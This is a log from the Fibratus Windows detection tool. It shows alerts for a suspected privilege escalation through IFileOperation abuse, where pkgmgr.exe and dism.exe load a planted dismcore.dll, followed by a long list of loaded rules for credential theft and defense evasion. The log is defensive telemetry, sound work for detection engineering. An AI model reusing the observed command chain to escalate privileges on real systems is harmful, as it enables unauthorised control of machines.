Timestamp: 2025-11-21 11:52:15.2392843 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffffbc88f12accc0, file_path➜ C:\Windows\System32\dismcore.dl~, irp➜ ffffbc88f34bc0f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 14116, type➜ File + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: C:\Windows\System32\dismcore, rule.name: Potential privilege escalation via IFileOperation abuse + + Pid: 10136 + Ppid: 1232 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 896503 + Pid: 4664 + Tid: 6860 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-21 11:52:15.6632152 +0100 CET + Params: base_address➜ 7ffa3c500000, checksum➜ 38076, default_address➜ 7ffa3c500000, file_path➜ C:\Windows\System32\dismcore.dll, image_size➜ 53248, pid➜ 4664, signature_level➜ AUTHENTICODE, signature_type➜ CATALOG_CACHED + Metadata: rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: C:\Windows\System32\dismcore + + Pid: 4664 + Ppid: 15096 + Name: Dism.exe + Parent name: PkgMgr.exe + Cmdline: "C:\WINDOWS\system32\dism.exe" /online /quiet /norestart /add-package /packagepath:"C:\WINDOWS\system32\pe386" /ignorecheck + Parent cmdline: "C:\WINDOWS\system32\pkgmgr.exe" /ip /m:pe386 /quiet + Exe: C:\WINDOWS\system32\dism.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\dism.exe" /online /quiet /norestart /add-package /packagepath:"C:\WINDOWS\system32\pe386" /ignorecheck] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-21T11:55:56+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T11:55:56+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T11:55:56+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T11:57:54+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T11:57:54+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T11:57:54+01:00 level=info msg=bootstrapping with pid 1744. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T11:57:54+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 enabled=>false to=>[] content-type=>text/html use-template=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-dns=>false enable-fileio=>true enable-vamap=>true min-buffers=>16 stack-enrichment=>true enable-image=>true buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false enable-registry=>true flush-interval=>1s enable-handle=>false enable-net=>true enable-audit-api=>true enable-threadpool=>false max-buffers=>36 enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text log-stdout=>true max-size=>100 max-backups=>15 level=>info max-age=>0] + output ......................... [ amqp=>[ routing-key=>fibratus passive=>false url=>amqp://localhost:5672 tls-insecure-skip-verify=>false vhost=>/ durable=>false exchange=>fibratus enabled=>false exchange-type=>topic timeout=>5s delivery-mode=>transient] eventlog=>[ enabled=>false level=>info] http=>[ enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false serializer=>json enabled=>false endpoints=>[] method=>POST] elasticsearch=>[ healthcheck-timeout=>5s enabled=>false flush-period=>1s healthcheck-interval=>10s index-name=>fibratus trace-log=>false servers=>[http://127.0.0.1:9200] sniff=>false timeout=>5s bulk-workers=>1 healthcheck=>true template-name=>fibratus gzip-compression=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty]] + pe ............................. [ read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false excluded-procs=>[] skip-allocs=>false fastscan=>true skip-registry=>false skip-files=>false excluded-files=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T11:57:55+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T11:57:57+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T11:58:14+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 1075680 + Pid: 10476 + Tid: 17104 + Type: CreateFile + CPU: 6 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-21 11:58:02.5299548 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffffbc88ef4814a0, file_path➜ C:\Windows\System32\dismcore.dl~, irp➜ ffffbc88f2fdc5b8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 17104, type➜ File + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: C:\Windows\System32\dismcore, rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004 + + Pid: 10476 + Ppid: 1232 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 1087959 + Pid: 4000 + Tid: 17108 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-21 11:58:02.9634655 +0100 CET + Params: base_address➜ 7ffa40330000, checksum➜ 38076, default_address➜ 7ffa40330000, file_path➜ C:\Windows\System32\dismcore.dll, image_size➜ 53248, pid➜ 4000, signature_level➜ AUTHENTICODE, signature_type➜ CATALOG_CACHED + Metadata: rule.seq.link: C:\Windows\System32\dismcore, rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004, 